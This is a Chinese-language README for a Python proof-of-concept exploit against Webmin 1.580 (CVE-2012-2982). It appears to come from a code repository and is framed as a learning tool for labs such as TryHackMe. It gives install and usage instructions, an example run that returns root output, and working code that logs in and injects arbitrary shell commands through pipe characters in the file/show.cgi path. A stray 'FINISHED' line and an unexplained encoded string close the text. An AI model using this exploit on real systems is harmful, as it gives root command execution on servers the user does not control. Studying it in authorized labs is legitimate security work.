Webmin 1.580 远程命令执行漏洞利用工具 (CVE-2012-2982)
本项目是一个 Python 编写的概念验证 (PoC) 利用工具,针对 Webmin 版本 1.580 中的一个严重漏洞。该漏洞被编号为 CVE-2012-2982,是由于 file/show.cgi 组件对用户输入处理不当,导致已认证的Webmin用户能够利用文件管理器模块执行任意系统命令,且命令执行权限为root。
此工具完全基于对漏洞原理的分析实现,旨在为安全研究人员和学生提供一个在受控环境(如TryHackMe)中学习和测试漏洞的示例。
⚠️ 重要声明: 本项目仅限用于教育目的和授权的安全测试。严禁用于任何非法或未授权的活动。
功能特性
- 自动化认证:支持通过用户名和密码登录目标Webmin服务。
- 命令注入利用:核心功能是利用CVE-2012-2982漏洞,在目标系统上执行任意命令。
- Payload随机化:利用代码中包含一个随机字符串生成器,用于构造每次请求都不同的恶意路径,提高利用的灵活性。
- 结果回显:成功利用后,会在终端显示目标系统执行命令后的输出结果。
- 友好的命令行接口:使用
argparse模块构建,参数清晰,易于使用。
安装指南
系统要求
- Python 3.x
pipPython包管理器
依赖项
本工具仅依赖于requests库,用于发送HTTP/HTTPS请求。
安装步骤
- 克隆本仓库或下载
webmin.py文件到您的本地测试机器。git clone https://github.com/your-repo/webmin-1.580-rce.git cd webmin-1.580-rce - (推荐)创建一个Python虚拟环境。
python3 -m venv venv source venv/bin/activate # 在Windows上使用 `venv\Scripts\activate` - 安装所需的依赖库。
或者,如果项目提供了pip install requestsrequirements.txt文件,可以使用:pip install -r requirements.txt
使用说明
基础使用示例
该工具通过命令行参数运行。您需要提供目标URL、用户名、密码以及要执行的命令。
python3 webmin.py <目标URL> -u <用户名> -p <密码> -c "<要执行的命令>"
典型使用场景
场景: 假设您已经在一个测试环境中部署了存在漏洞的Webmin 1.580,且已知一个管理员账户 admin 密码为 admin123。您想验证漏洞并查看当前运行命令的用户。
命令:
python3 webmin.py https://10.10.10.10:10000 -u admin -p admin123 -c "id"
预期输出:
[+] Login Succesfull,
Executing Payload...
[+] Exploit sent
uid=0(root) gid=0(root) groups=0(root) # 命令执行结果,证明是以root权限执行
命令行参数概览
| 参数 | 是否必需 | 描述 |
|---|---|---|
target | 是 | 目标Webmin的基础URL,必须包含协议(http:// 或 https://),例如 https://10.10.10.10:10000。 |
-u, --username | 是 | 用于登录Webmin的用户名。 |
-p, --password | 是 | 用于登录Webmin的密码。 |
-c, --command | 是 | 要在目标服务器上执行的系统命令。 |
核心代码
以下是工具的核心代码片段,包含了漏洞利用的关键逻辑。
1. 登录模块
此部分负责向Webmin的登录端点发送POST请求,完成用户认证并获取会话ID(sid)。
# 构造登录请求的数据包
data = {'page':"%2F", 'user':args.username, 'pass':args.password}
url = f"{base_url}/session_login.cgi"
try:
# 发送POST请求,设置cookie "testing=1" 绕过某些检查
r = requests.post(url, data=data, cookies={"testing":"1"}, verify=False, allow_redirects=False, timeout=15)
# 检查是否登录成功(302跳转和sid Cookie)
if r.status_code == 302 and "sid" in r.cookies:
print("[+] Login Succesfull,\nExecuting Payload...")
sid = r.cookies["sid"] # 获取会话ID,用于后续请求
else:
print("[-] Login Failed")
sys.exit(1)
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
sys.exit(1)
2. Payload构造与发送
该部分利用获取到的sid,构造包含恶意命令的URL并发送请求。核心漏洞点在于/file/show.cgi/bin/{随机字符串}|{命令}|,管道符 | 的注入使得系统执行了额外的命令。
import string
import secrets
# 生成5位随机字符串,用于构造路径,增加隐蔽性
def ran():
charset = string.ascii_letters + string.digits
rand_charset = ''.join(secrets.choice(charset) for i in range(5))
return rand_charset
def exploit(sid, args_command, base_url):
try:
# 构造漏洞利用URL:利用管道符注入命令
# 最终格式如: https://target:10000/file/show.cgi/bin/aB3dE|id|
exp_url = f"{base_url}/file/show.cgi/bin/{ran()}|{args_command}|"
# 携带有效的会话Cookie发送GET请求
req = requests.get(exp_url, cookies={"sid":sid}, verify=False, allow_redirects=False, timeout=15)
print("[+] Exploit sent ")
# 打印命令执行结果
print(req.text)
except requests.exceptions.RequestException as e:
print(f"[-] Request Failed:{e}")
sys.exit(1)
# 调用利用函数
exploit(sid, args.command, base_url)
```FINISHED
6HFtX5dABrKlqXeO5PUv/0s0mRKmAMnD4iHEQcfMGjDfrYh26tFxajb6BLr+XpIn